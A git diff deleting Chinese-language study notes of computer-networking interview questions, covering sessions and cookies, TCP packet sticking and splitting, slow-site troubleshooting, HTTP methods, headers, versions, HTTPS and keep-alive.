**小甜饼(Cookie)的机制。它能够让浏览器具有记忆能力。** -3. 那么我们保存用户状态呢?Session 机制的存在就是为了解决这个问题,Session 的主要作用就是通过服务端记录用户的状态**session登录的认证方案是看,用户从客户端传递用户名和密码登录信息,服务端认证后将信息储存在session中,将session_id放入cookie中,以后访问其他页面,服务器都会带着cookie,服务端会自动从cookie中获取session_id,在从session中获取认证信息。** -4. **在服务端保存 Session 的方法很多,最常用的就是内存和数据库(比如是使用内存数据库redis保存)。\**既然 Session 存放在服务器端,那么我们如何实现 Session 跟踪呢?大部分情况下,我们都是\**通过在 Cookie 中附加一个 Session ID 来方式来跟踪。** - -## 20、为什么使用非对称加密和对称加密? - -对称加密的问题在于**这个密钥怎么让传输的双方知晓,同时不被别人知道**,依赖于非对称加密将秘钥进行传输,非对称加密耗时,所以采用非对称加密和对称加密组合的方式 - -## 21、TCP粘包是什么? - -**TCP粘包是指发送方发送的若干包数据到接收方接收时粘成一包,从接收缓冲区看,后一包数据的头紧接着前一包数据的尾。** - -## 22、什么时候需要考虑粘包问题? - -1. **如果利用tcp每次发送数据,就与对方建立连接,然后双方发送完一段数据后,就关闭连接,这样就不会出现粘包问题**(因为只有一种包结构,类似于http协议)。 - -- 关闭连接主要是要双方都发送close连接(参考tcp关闭协议)。如:A需要发送一段字符串给B,那么A与B建立连接,然后发送双方都默认好的协议字符如"hello give me sth abour yourself",然后B收到报文后,就将缓冲区数据接收,然后关闭连接,这样粘包问题不用考虑到,因为大家都知道是发送一段字符。 - -1. **如果发送数据无结构,如文件传输,这样发送方只管发送,接收方只管接收存储就ok,也不用考虑粘包** -2. 如果双方建立连接,需要在连接后一段时间内发送不同结构数据,如连接后,有好几种结构,一般可能会在头加一个数据长度之类的包,以确保接收 - -## 23、粘包出现原因? - -出现粘包现象的原因是多方面的,它既可能由发送方造成,也可能由接收方造成。简单得说,在流传输中出现,UDP不会出现粘包,因为它有**消息边界**(参考Windows网络编程) - -1. **发送端需要等缓冲区满才发送出去,造成粘包** -2. **接收方不及时接收缓冲区的包,造成多个包接收** - -具体来讲: - -1. 发送方引起的粘包是由TCP协议本身造成的,**TCP为提高传输效率,发送方往往要收集到足够多的数据后才发送一包数据。若连续几次发送的数据都很少,通常TCP会根据优化算法把这些数据合成一包后一次发送出去,这样接收方就收到了粘包数据。** -2. 接收方引起的粘包是由于接收方用户进程不及时接收数据,从而导致粘包现象。这是因为接收方先把收到的数据放在系统接收缓冲区,用户进程从该缓冲区取数据,**若下一包数据到达时前一包数据尚未被用户进程取走,则下一包数据放到系统接收缓冲区时就接到前一包数据之后**,而用户进程根据预先设定的缓冲区大小从系统接收缓冲区取数据,这样就一次取到了多包数据。 -3. **粘包情况有两种,一种是粘在一起的包都是完整的数据包,另一种情况是粘在一起的包有不完整的包。** -4. 不是所有的粘包现象都需要处理,若传输的数据为不带结构的连续流数据(如文件传输),则不必把粘连的包分开(简称分包)。但在实际工程应用中,传输的数据一般为带结构的数据,这时就需要做分包处理。 -5. 在处理定长结构数据的粘包问题时,分包算法比较简单;在处理不定长结构数据的粘包问题时,分包算法就比较复杂。特别是粘在一起的包有不完整的包的粘包情况,**由于一包数据内容被分在了两个连续的接收包中**,处理起来难度较大。**实际工程应用中应尽量避免出现粘包现象。** - -## 24、如何避免粘包问题? - -1. **对于发送方引起的粘包现象,用户可通过编程设置来避免,TCP提供了强制数据立即传送的操作指令push**,TCP软件收到该操作指令后,就立即将本段数据发送出去,而不必等待发送缓冲区满; -2. **对于接收方引起的粘包,则可通过优化程序设计、精简接收进程工作量、提高接收进程优先级等措施,使其及时接收数据**,从而尽量避免出现粘包现象; -3. 由接收方控制,将一包数据按结构字段,人为控制分多次接收,然后合并,通过这种手段来避免粘包。 - -#### 以上提到的三种措施,都有其不足之处。 - -1. 第一种编程设置方法虽然可以避免发送方引起的粘包,**但它关闭了优化算法,降低了网络发送效率,影响应用程序的性能,一般不建议使用。** -2. **第二种方法只能减少出现粘包的可能性,但并不能完全避免粘包,当发送频率较高时,或由于网络突发可能使某个时间段数据包到达接收方较快,接收方还是有可能来不及接收,从而导致粘包**。 -3. 第三种方法虽然避免了粘包,但应用程序的效率较低,对实时应用的场合不适合。 - -**一种比较周全的对策是:接收方创建一预处理线程,对接收到的数据包进行预处理,将粘连的包分开。** - -## 25、讲一讲拆包? - -对于拆包目前最常用的是以下两种方式: - -#### 1、动态缓冲区暂存方式。 - -之所以说缓冲区是动态的是因为**当需要缓冲的数据长度超出缓冲区的长度时会增大缓冲区长度**。大概过程描述如下: - -1. 为每一个连接动态分配一个缓冲区,同时把此缓冲区和SOCKET关联,常用的是通过结构体关联. -2. 当接收到数据时首先把此段数据存放在缓冲区中. -3. **判断缓存区中的数据长度是否够一个包头的长度,如不够,则不进行拆包操作.** -4. 根据包头数据解析出里面代表包体长度的变量. -5. **判断缓存区中除包头外的数据长度是否够一个包体的长度,如不够,则不进行拆包操作.** -6. 取出整个数据包.这里的"取"的意思是不光**从缓冲区中拷贝出数据包,而且要把此数据包从缓存区中删除掉.删除的办法就是把此包后面的数据移动到缓冲区的起始地址.** - -这种方法有两个缺点: - -1. 为每个连接动态分配一个缓冲区增大了内存的使用. -2. 有三个地方需要拷贝数据,一个地方是把数据存放在缓冲区,一个地方是把完整的数据包从缓冲区取出来,一个地方是把数据包从缓冲区中删除.第二种拆包的方法会解决和完善这些缺点. - -可以采用环形缓冲进行改善,环形缓冲实现方案是定义两个指针,分别指向有效数据的头和尾.在存放数据和删除数据时只是进行头尾指针的移动。但是这种改进方法还是不能解决第一个缺点以及第一个数据拷贝,只能解决第三个地方的数据拷贝(这个地方是拷贝数据最多的地方).第2种拆包方式会解决这两个问题. - -#### 2、利用底层的缓冲区来进行拆包 - -1. 由于**TCP也维护了一个缓冲区,所以我们完全可以利用TCP的缓冲区来缓存我们的数据**,这样一来就不需要为每一个连接分配一个缓冲区了。另一方面我们知道recv或者wsarecv都有一个参数,用来表示我们要接收多长长度的数据。利用这两个条件我们就可以对第一种方法进行优化。 -2. 对于阻塞SOCKET来说,我们可以利用一个循环来接收包头长度的数据,然后解析出代表包体长度的那个变量,再用一个循环来接收包体长度的数据。 - -### 26、讲一下HTTP 请求页面的过程? - -- 有了 HTTP 服务器的 IP 地址之后,主机就能够生成 TCP 套接字,该套接字将用于向 Web 服务器发送 HTTP GET 报文。 -- 在生成 TCP 套接字之前,必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段,并向 HTTP 服务器发送该报文段。 -- HTTP 服务器收到该报文段之后,生成 TCP SYN ACK 报文段,发回给主机。 -- 连接建立之后,浏览器生成 HTTP GET 报文,并交付给 HTTP 服务器。 -- HTTP 服务器从 TCP 套接字读取 HTTP GET 报文,生成一个 HTTP 响应报文,将 Web 页面内容放入报文主体中,发回给主机。 -- 浏览器收到 HTTP 响应报文后,抽取出 Web 页面内容,之后进行渲染,显示 Web 页面。 - -## 27、有哪些方面的因素会导致网站访问慢? - -### 1. 服务器出口带宽不够用 - -1. 本身服务器购买的出口带宽比较**。一旦并发量大的话,就会造成分给每个用户的出口带宽就小,访问速度自然就会慢。** -2. **跨运营商网络导致带宽缩减**。例如,公司网站放在电信的网络上,那么客户这边对接是长城宽带或联通,这也可能导致带宽的缩减。 - -### 2. 服务器负载过大,导致响应不过来 - -可以从两个方面入手分析: - -1. 分析系统负载,使用 w 命令或者 uptime 命令查看系统负载。如果负载很高,则使用 top 命令查看 CPU ,MEM 等占用情况,要么是 CPU 繁忙,要么是内存不够。 -2. 如果这二者都正常,再去使用 sar 命令分析网卡流量,分析是不是遭到了攻击。一旦分析出问题的原因,采取对应的措施解决,如决定要不要杀死一些进程,或者禁止一些访问等。 - -### 3. 数据库瓶颈 - -1. 如果慢查询比较多。那么就要开发人员或 DBA 协助进行 SQL 语句的优化。 -2. 如果数据库响应慢,考虑可以加一个数据库缓存,如 Redis 等。然后,也可以搭建 MySQL 主从,一台 MySQL 服务器负责写,其他几台从数据库负责读。 - -### 4. 网站开发代码没有优化好 - -例如 SQL 语句没有优化,导致数据库读写相当耗时。 - -## 28、针对网站访问慢,怎么去排查? - -1. **首先要确定是用户端还是服务端的问题。**当接到用户反馈访问慢,那边自己立即访问网站看看,如果自己这边访问快,基本断定是用户端问题,就需要耐心跟客户解释,协助客户解决问题。 - -> **不要上来就看服务端的问题。一定要从源头开始,逐步逐步往下。** - -1. 如果访问也慢,那么可以利用浏览器的调试功能,看看加载那一项数据消耗时间过多,是图片加载慢,还是某些数据加载慢。 -2. **针对服务器负载情况。 ** **查看服务器硬件(网络、CPU、内存)的消耗情况**。如果是购买的云主机,比如阿里云,可以登录阿里云平台提供各方面的监控,比如 CPU、内存、带宽的使用情况。 -3. **如果发现硬件资源消耗都不高,那么就需要通过查日志,比如看看 MySQL慢查询的日志,看看是不是某条 SQL 语句查询慢,导致网站访问慢。** - -## 29、怎么去解决访问慢问题? - -1. 如果是出口带宽问题,那么久申请加大出口带宽。 -2. **如果慢查询比较多,那么就要开发人员或 DBA 协助进行 SQL 语句的优化**。 -3. **如果数据库响应慢,考虑可以加一个数据库缓存,如 Redis 等**等。然后**也可以搭建MySQL 主从,一台 MySQL 服务器负责写,其他几台从数据库负责读。** -4. 申请购买 CDN 服务,加载用户的访问。 -5. 如果访问还比较慢,那就需要从整体架构上进行优化咯。做到专角色专用,多台服务器提供同一个服务。 - -## 31、常见应用层协议 - -### 使用UDP的 - -- TFTP(Trivial File Transfer Protocol,简单文件传输协议) -- DNS(Domain Name System,域名系统) - -### 使用TCP的 - -- 超文本传输协议(HTTP,HyperText Transfer Protocol) -- SSL(Secure Sockets Layer **安全套接层**),及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议。TLS与SSL在传输层对网络连接进行加密。SSL协议位于TCP/IP协议与各种应用层协议之间,为数据通讯提供安全支持。 -- FTP是文件传送协议,基于tcp的使用tcp 20和21号端口 -- SFTP是Secure File Transfer Protocol的缩写,是安全文件传送协议。 -- SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式。 -- POP3,全名为“Post Office Protocol - Version 3”,即“邮局协议版本3”。是TCP/IP协议族中的一员,由RFC1939 定义。本协议主要用于支持使用客户端远程管理在服务器上的电子邮件。提供了SSL加密的POP3协议被称为POP3S。POP3协议默认端口:110 - POP3协议默认传输协议:TCP - POP3协议适用的构架结构:C/S - POP3协议的访问模式:**离线访问** - -## 参考汇总 - -[爆肝总结30道计网常考面试题 - 掘金](https://juejin.cn/post/6989567548765241381) - -[(4条消息) 常见的应用层协议_哪些应用使用udp_sangjinchao的博客-CSDN博客](https://blog.csdn.net/sangjinchao/article/details/79852670) diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" deleted file mode 100644 index f9ee721e..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" +++ /dev/null @@ -1,1190 +0,0 @@ ---- -date: 2022-07-18 -category: -- 面试题 -tag: -- 计算机网络 ---- - -> 参照 -> -> [「2021」高频前端面试题汇总之计算机网络篇](https://juejin.cn/post/6908327746473033741) - -# 计网面试题汇总 - -## 一、HTTP协议 - -### 1. GET和POST的请求的区别:star::star: - -Post 和 Get 是 HTTP 请求的两种方法,其区别如下: - -- **应用场景:** GET 请求是一个幂等的请求,一般 Get 请求用于对服务器资源不会产生影响的场景,比如说请求一个网页的资源。而 Post 不是一个幂等的请求,用于产生新的资源(201状态码),一般用于对服务器资源会产生影响的情景,比如注册用户这一类的操作。 -- **是否缓存:** 因为两者应用场景不同,浏览器一般会对 Get 请求缓存,但很少对 Post 请求缓存。 -- **发送的报文格式:** Get 请求的报文中**实体部分为空**,Post 请求的报文中实体部分一般为向服务器发送的数据。 -- **安全性:** Get 请求可以将请求的参数放入 url 中向服务器发送,这样的做法相对于 Post 请求来说是不太安全的,因为请求的 url 会被保留在历史记录中。 -- **请求长度:** 浏览器由于对 url 长度的限制,所以会影响 get 请求发送数据时的长度。这个限制是浏览器规定的,并不是 RFC (*Request for Comments* 请求意见稿)规定的。 -- **参数类型:** post 的参数传递支持更多的数据类型,JSON、表单、XML等等。 - -### 2. POST和PUT请求的区别 - -- PUT请求是向服务器端发送数据,从而修改数据的内容,但是不会增加数据的种类等,也就是说无论进行多少次PUT操作,其结果并没有不同。(可以理解为时**覆盖式更新数据**,幂等) - -- POST请求是向服务器端发送数据,该请求会改变数据的种类等资源,它会创建新的内容。(可以理解为是**创建数据**,不幂等) - - > 补充: - > - > Patch和Put请求的区别,不幂等和幂等 - -### 3. 常见的HTTP请求头和响应头 :star: - -**HTTP Request Header 常见的请求头:** - -- **Accept**:浏览器能够处理的内容类型 -- Accept-Charset:浏览器能够显示的字符集 -- **Accept-Encoding**:浏览器能够处理的压缩编码 -- **Accept-Language**:浏览器当前设置的语言 -- **Connection**:浏览器与服务器之间连接的类型,如“keep-alive” -- **Cookie**:当前页面设置的任何Cookie -- **Host**:发出请求的页面所在的域 -- **Referer**:发出请求的页面的URL -- User-Agent:浏览器的用户代理字符串 - -**HTTP Responses Header 常见的响应头:** - -- Date:表示消息发送的时间,时间的描述格式由rfc822定义 -- server:服务器名称 -- Connection:浏览器与服务器之间连接的类型 -- **Cache-Control**:控制HTTP缓存 -- **content-type:**表示后面的文档属于什么MIME类型 - -常见的 Content-Type 属性值有以下四种:star:: - -**(1)application/x-www-form-urlencoded**:浏览器的原生 form 表单,如果不设置 enctype 属性,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。该种方式提交的数据放在 body 里面,数据按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL转码。 - -**(2)multipart/form-data**:该种方式也是一个常见的 POST 提交方式,通常表单上传文件时使用该种方式。 - -**(3)application/json**:服务器消息主体是序列化后的 JSON 字符串。 - -**(4)text/xml**:该种方式主要用来提交 XML 格式的数据。 - -### 4. HTTP状态码304是多好还是少好 :star: - -服务器为了提高网站访问速度,对之前访问的部分页面指定缓存机制,当客户端在此对这些页面进行请求,服务器会根据缓存内容判断页面与之前是否相同,若相同便直接返回304,此时客户端调用缓存内容,不必进行二次下载。 - -状态码304不应该认为是一种错误,而是对客户端**有缓存情况下**服务端的一种响应。 - -搜索引擎蜘蛛会更加青睐内容源更新频繁的网站。通过特定时间内对网站抓取返回的状态码来调节对该网站的抓取频次。若网站在一定时间内一直处于304的状态,那么蜘蛛可能会降低对网站的抓取次数。相反,若网站变化的频率非常之快,每次抓取都能获取新内容,那么日积月累,的回访率也会提高。 - -> 少一点好利于SEO优化,多的话减少回源请求等等 - -**产生较多304状态码的原因:** - -- 页面更新周期长或不更新 -- 纯静态页面或强制生成静态html - -**304状态码出现过多会造成以下问题:** - -- 网站快照停止; -- 收录减少; -- 权重下降。 - -### 5. 常见的HTTP请求方法 :star::star: - -- GET: 向服务器获取数据; -- POST:将实体提交到指定的资源,通常会造成服务器资源的修改; -- PUT:上传文件,更新数据; -- DELETE:删除服务器上的对象; -- HEAD:获取报文首部,与GET相比,不返回报文主体部分; -- OPTIONS:询问支持的请求方法,用于跨域请求(复杂请求)的预检请求; -- CONNECT:要求在与代理服务器通信时建立隧道,使用隧道进行TCP通信; -- TRACE: 回显服务器收到的请求,主要⽤于测试或诊断。 - -### 6. OPTIONS请求方法及使用场景 :star: - -OPTIONS是除了GET和POST之外的其中一种 HTTP请求方法。 - -OPTIONS方法是用于请求获得由`Request-URI`标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以**在采取具体资源请求之前,决定对该资源采取何种必要措施,或者了解服务器的性能**。该请求方法的响应不能缓存。 - -OPTIONS请求方法的**主要用途**有两个: - -- **获取服务器支持的所有HTTP请求方法;** - -- **用来检查访问权限。** - - 例如:在进行 CORS 跨域资源共享时,对于复杂请求,就是使用 OPTIONS 方法发送**嗅探请求(预检请求)**,以判断是否有对指定资源的访问权限。 - - > **跨域发送post请求时,总是发送两次,第一次是OPTIONS请求,状态码204;第二次才是POST请求,状态码200**。 - -### 7. HTTP 1.0 和 HTTP 1.1 之间有哪些区别?:star::star: - -**HTTP 1.0和 HTTP 1.1 有以下区别**: - -- **连接方面**,http1.0 默认使用非持久连接,而 http1.1 默认使用持久连接。http1.1 通过使用持久连接来使多个 http 请求复用同一个 TCP 连接,以此来避免使用非持久连接时每次需要建立连接的时延。 - -- **资源请求方面**,在 http1.0 中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持**断点续传功能**,http1.1 则在请求头引入了 range 头域,它允许只请求资源的某个部分,即返回码是 206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。 - -- **缓存方面**,在 http1.0 中主要使用 header 里的 If-Modified-Since、Expires 来做为缓存判断的标准,http1.1 则引入了更多的缓存控制策略,例如 Etag、If-Unmodified-Since、If-Match、If-None-Match 等更多可供选择的缓存头来控制缓存策略。 - - > If-Modified-Since是客户端再次发起该请求时,携带上次请求返回的Last-Modified值,通过此字段值告诉服务器该资源上次请求返回的最后被修改时间。 - > - > If-None-Match是客户端再次发起该请求时,携带上次请求返回的唯一标识Etag值,通过此字段值告诉服务器该资源上次请求返回的唯一标识值。 - > - > 服务器收到请求后,会优先根据 Etag 的值(If-None-Match的字段值与该资源在服务器的Etag值做对比)判断被请求的文件有没有做修改,Etag 值一致则认为没有修改,命中协商缓存,返回 304(Not Modified) 状态码;如果不一致则有改动,直接返回新的资源文件带上新的 Etag 值并返回 200。 - -- http1.1 中**新增了 host 字段**,用来指定服务器的**域名**。http1.0 中认为每台服务器都绑定一个唯一的 IP 地址,因此,请求消息中的 URL 并没有传递主机名(hostname)。但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机,并且它们共享一个IP地址。因此有了 host 字段,这样就可以将请求发往到同一台服务器上的不同网站。 - -- http1.1 相对于 http1.0 还新增了很多**请求方法**,如 PUT、HEAD、OPTIONS 等。 - -### 8. HTTP 1.1 和 HTTP 2.0 的区别 :star::star: - -- **二进制协议**:HTTP/2 是一个二进制协议。在 HTTP/1.1 版中,报文的头信息必须是文本(ASCII 编码),数据体可以是文本,也可以是二进制。HTTP/2 则是**一个彻底的二进制协议,头信息和数据体都是二进制**,并且统称为"帧",可以分为头**信息帧和数据帧**。 帧的概念是它实现多路复用的基础。 -- **多路复用:** HTTP/2 实现了多路复用,HTTP/2 仍然复用 TCP 连接,但是在一个连接里,客户端和服务器都可以同时发送多个请求或回应,而且不用按照顺序一一发送,这样就避免了"队头堵塞"【1】的问题。 -- **数据流 Stream:** HTTP/2 使用了**数据流的概念**,因为 HTTP/2 的数据包是不按顺序发送的,同一个连接里面连续的数据包,可能属于不同的请求。因此,必须要对数据包做标记,指出它属于哪个请求。**HTTP/2 将每个请求或回应的所有数据包,称为一个数据流(包 = 流)**。每个数据流都有一个独一无二的编号(为流标记ID)。数据包发送时,都必须标记**数据流 ID** ,用来区分它属于哪个数据流。 -- **头信息压缩:** HTTP/2 实现了头信息压缩,由于 HTTP 1.1 协议不带状态,每次请求都必须附上所有信息。所以,请求的很多字段都是重复的,比如 Cookie 和 User Agent ,一模一样的内容,每次请求都必须附带,这会浪费很多带宽,也影响速度。HTTP/2 对这一点做了优化,引入了头信息压缩机制。**一方面,头信息使用 gzip 或 compress 压缩后再发送;另一方面,客户端和服务器同时维护一张头信息表,所有字段都会存入这个表,生成一个索引号,以后就不发送同样字段了,只发送索引号,**这样就能提高速度了。 -- **服务器推送:** HTTP/2 允许服务器未经请求,主动向客户端发送资源,这叫做服务器推送。使用服务器推送提前给客户端推送必要的资源,这样就可以相对减少一些延迟时间。这里需要注意的是 http2 下服务器主动推送的是**静态资源**,和 WebSocket 以及使用 SSE(Server-Sent Event) 等方式向客户端发送即时数据的推送是不同的。 - -**【1】队头堵塞:** - -> 队头阻塞是由 HTTP 基本的“请求 - 应答”模型所导致的。HTTP 规定报文必须是“一发一收”,这就形成了一个先进先出的“串行”队列。队列里的请求是没有优先级的,只有入队的先后顺序,排在最前面的请求会被最优先处理。如果队首的请求因为处理的太慢耽误了时间,那么队列里后面的所有请求也不得不跟着一起等待,结果就是其他的请求承担了不应有的时间成本,造成了队头堵塞的现象。 - -### 9. HTTP和HTTPS协议的区别 :star::star: - -> CA证书、加密、端口、身份认证、对称和非对称加密 - -HTTP和HTTPS协议的主要区别如下: - -- HTTPS协议需要CA证书,由相关机构登记授权,费用较高;而HTTP协议不需要; -- HTTP协议是超文本传输协议,信息是明文传输的,HTTPS则是具有安全性的SSL加密传输协议; -- 使用不同的连接方式,端口也不同,HTTP协议端口是80,HTTPS协议端口是443; -- HTTP协议连接很简单,是无状态的;HTTPS协议是有SSL和HTTP协议构建的可进行加密传输、身份认证的网络协议,比HTTP更加安全。 - -### 10. GET方法URL长度限制的原因 - -实际上HTTP协议规范并没有对get方法请求的url长度进行限制,这个限制是特定的浏览器及服务器对它的限制。 IE对URL长度的限制是2083字节(2K+35)。由于IE浏览器对URL长度的允许值是最小的,所以开发过程中,只要URL不超过2083字节,那么在所有浏览器中工作都不会有问题。 - -```javascript -GET的长度值 = URL(2083)- (你的Domain+Path)-2(2是get请求中?=两个字符的长度) -``` - -下面看一下主流浏览器对get方法中url的长度限制范围: - -- Microsoft Internet Explorer (Browser):IE浏览器对URL的最大限制为2083个字符,如果超过这个数字,提交按钮没有任何反应。 -- Firefox (Browser):对于Firefox浏览器URL的长度限制为 65,536 个字符。 -- Safari (Browser):URL最大长度限制为 80,000 个字符。 -- Opera (Browser):URL最大长度限制为 190,000 个字符。 -- Google (chrome):URL最大长度限制为 8182 个字符。 - -主流的服务器对get方法中url的长度限制范围: - -- Apache (Server):能接受最大url长度为8192个字符。 -- Microsoft Internet Information Server(IIS):能接受最大url的长度为16384个字符。 - -根据上面的数据,可以知道,get方法中的URL长度最长不超过2083个字符,这样所有的浏览器和服务器都可能正常工作。 - -### 11. 当在浏览器中输入 Google.com 并且按下回车之后发生了什么? :star::star: - -(1)**解析URL:** 首先会对 URL 进行解析,分析所需要使用的传输协议和请求的资源的路径。如果输入的 URL 中的协议或者主机名不合法,将会把地址栏中输入的内容传递给搜索引擎。如果没有问题,浏览器会检查 URL 中是否出现了非法字符,如果存在非法字符(不安全字符),则对非法字符进行转义后再进行下一过程。 - -(2)**缓存判断:** 浏览器会判断所请求的资源是否在缓存里,如果请求的资源在缓存里并且没有失效,那么就直接使用,否则向服务器发起新的请求。 - -(3)**DNS解析:** 下一步首先需要获取的是输入的 URL 中的域名的 IP 地址,首先会判断本地是否有该域名的 IP 地址的缓存,如果有则使用,如果没有则向本地 DNS 服务器发起请求。本地 DNS 服务器也会先检查是否存在缓存,如果没有就会先向根域名服务器发起请求,获得负责的顶级域名服务器的地址后,再向顶级域名服务器请求,然后获得负责的权威域名服务器的地址后,再向权威域名服务器发起请求,最终获得域名的 IP 地址后,本地 DNS 服务器再将这个 IP 地址返回给请求的用户。用户向本地 DNS 服务器发起请求属于递归请求,本地 DNS 服务器向各级域名服务器发起请求属于迭代请求。 - -(4)**获取MAC地址:** 当浏览器得到 IP 地址后,数据传输还需要知道目的主机 MAC 地址,因为应用层下发数据给传输层,TCP 协议会指定源端口号和目的端口号,然后下发给网络层。网络层会将本机地址作为源地址,获取的 IP 地址作为目的地址。然后将下发给数据链路层,数据链路层的发送需要加入通信双方的 MAC 地址,本机的 MAC 地址作为源 MAC 地址,目的 MAC 地址需要分情况处理。通过将 IP 地址与本机的子网掩码相与,可以判断是否与请求主机在同一个子网里,如果在同一个子网里,可以使用 APR 协议获取到目的主机的 MAC 地址,如果不在一个子网里,那么请求应该转发给网关,由它代为转发,此时同样可以通过 ARP 协议来获取网关的 MAC 地址,此时目的主机的 MAC 地址应该为网关的地址。 - -(5)**TCP三次握手:** 下面是 TCP 建立连接的三次握手的过程,首先客户端向服务器发送一个 SYN 连接请求报文段和一个随机序号,服务端接收到请求后向服务器端发送一个 SYN ACK报文段,确认连接请求,并且也向客户端发送一个随机序号。客户端接收服务器的确认应答后,进入连接建立的状态,同时向服务器也发送一个ACK 确认报文段,服务器端接收到确认后,也进入连接建立状态,此时双方的连接就建立起来了。 - -(6)**HTTPS握手:** 如果使用的是 HTTPS 协议,在通信前还存在 TLS 的一个四次握手的过程。首先由客户端向服务器端发送使用的协议的版本号、一个随机数和可以使用的加密方法。服务器端收到后,确认加密的方法,也向客户端发送一个随机数和自己的数字证书。客户端收到后,首先检查数字证书是否有效,如果有效,则再生成一个随机数,并使用证书中的公钥对随机数加密,然后发送给服务器端,并且还会提供一个前面所有内容的 hash 值供服务器端检验。服务器端接收后,使用自己的私钥对数据解密,同时向客户端发送一个前面所有内容的 hash 值供客户端检验。这个时候双方都有了三个随机数,按照之前所约定的加密方法,使用这三个随机数生成一把秘钥,以后双方通信前,就使用这个秘钥对数据进行加密后再传输。 - -(7)**返回数据:** 当页面请求发送到服务器端后,服务器端会返回一个 html 文件作为响应,浏览器接收到响应后,开始对 html 文件进行解析,开始页面的渲染过程。 - -(8)**页面渲染:** 浏览器首先会根据 html 文件构建 DOM 树,根据解析到的 css 文件构建 CSSOM 树,如果遇到 script 标签,则判端是否含有 defer 或者 async 属性,要不然 script 的加载和执行会造成页面的渲染的阻塞。当 DOM 树和 CSSOM 树建立好后,根据它们来构建渲染树。渲染树构建好后,会根据渲染树来进行布局。布局完成后,最后使用浏览器的 UI 接口对页面进行绘制。这个时候整个页面就显示出来了。 - -(9)**TCP四次挥手:** 最后一步是 TCP 断开连接的四次挥手过程。若客户端认为数据发送完成,则它需要向服务端发送连接释放请求。服务端收到连接释放请求后,会告诉应用层要释放 TCP 链接。然后会发送 ACK 包,并进入 CLOSE_WAIT 状态,此时表明客户端到服务端的连接已经释放,不再接收客户端发的数据了。但是因为 TCP 连接是双向的,所以服务端仍旧可以发送数据给客户端。服务端如果此时还有没发完的数据会继续发送,完毕后会向客户端发送连接释放请求,然后服务端便进入 LAST-ACK 状态。客户端收到释放请求后,向服务端发送确认应答,此时客户端进入 TIME-WAIT 状态。该状态会持续 2MSL(最大段生存期,指报文段在网络中生存的时间,超时会被抛弃) 时间,若该时间段内没有服务端的重发请求的话,就进入 CLOSED 状态。当服务端收到确认应答后,也便进入 CLOSED 状态。 - -### 12. 对keep-alive的理解 :star: - -HTTP1.0 中默认是在每次请求/应答,客户端和服务器都要新建一个连接,完成之后立即断开连接,这就是**短连接**。当使用Keep-Alive模式时,Keep-Alive功能使客户端到服务器端的连接持续有效,当出现对服务器的后继请求时,Keep-Alive功能避免了建立或者重新建立连接,这就是**长连接**。其使用方法如下: - -> 有别于短轮询和长轮询 - -- HTTP1.0版本是默认没有Keep-alive的(也就是默认会发送keep-alive),所以要想连接得到保持,必须手动配置发送`Connection: keep-alive`字段。若想断开keep-alive连接,需发送`Connection:close`字段; -- HTTP1.1规定了默认保持长连接,数据传输完成了保持TCP连接不断开,等待在同域名下继续用这个通道传输数据。如果需要关闭,需要客户端发送`Connection:close`首部字段。 - -keep-alive的**建立过程**: - -- 客户端向服务器在发送请求报文同时在首部添加发送Connection字段 -- 服务器收到请求并处理 Connection字段 -- 服务器回送`Connection:Keep-Alive`字段给客户端 :star: -- 客户端接收到Connection字段 -- Keep-Alive连接建立成功 - -**服务端自动断开过程(也就是没有keep-alive的一般情况)**: - -- 客户端向服务器只是发送内容报文(不包含Connection字段) -- 服务器收到请求并处理 -- 服务器返回客户端请求的资源并关闭连接 -- 客户端接收资源,发现没有Connection字段,断开连接 - -**客户端请求断开连接过程(keep-alive开启后的过程)**: - -- 客户端向服务器发送Connection:close字段 -- 服务器收到请求并处理connection字段 -- 服务器回送响应资源并断开连接 -- 客户端接收资源并断开连接 - -开启Keep-Alive的**优点:** - -- 较少的CPU和内存的使⽤(由于同时打开的连接的减少了); - -- 允许请求和应答的**HTTP管线化**; - - > HTTP管线化(英语:HTTP pipelining)是将多个HTTP请求(request)整批提交的技术,而在发送过程中不需先等待伺服端的回应。 - -- 降低拥塞控制 (TCP连接减少了); - -- 减少了后续请求的延迟(⽆需再进⾏握⼿); - -- 报告错误⽆需关闭TCP连; - -开启Keep-Alive的**缺点**: - -- 长时间的Tcp连接容易导致系统资源无效占用,浪费系统资源。 - -### 13. 页面有多张图片,HTTP是怎样的加载表现? - -- 在`HTTP 1`下,**浏览器对一个域名下最大TCP连接数为6**,所以会请求多次。可以用**多域名部署**解决。这样可以提高同时请求的数目,加快页面图片的获取速度。 -- 在`HTTP 2`下,可以一瞬间加载出来很多资源,因为,HTTP2支持多路复用,**可以在一个TCP连接中发送多个HTTP请求。** - -### 14. HTTP2的头部压缩算法是怎样的? - -HTTP2的头部压缩是HPACK算法。在客户端和服务器两端建立“**字典**”,用**索引号表示重复的字符串**,采用**哈夫曼编**码来压缩整数和字符串,可以达到50%~90%的高压缩率。 - -**具体来说: :star:** - -- 在客户端和服务器端使用“首部表”来跟踪和存储之前发送的键值对,对于相同的数据,不再通过每次请求和响应发送; -- 首部表在HTTP/2的连接存续期内始终存在,由客户端和服务器共同渐进地更新; -- 每个新的首部键值对要么被追加到当前表的末尾,要么替换表中之前的值。 - -例如下图中的两个请求, 请求一发送了所有的头部字段,第二个请求则只需要发送差异数据,这样可以减少冗余数据,降低开销。 - 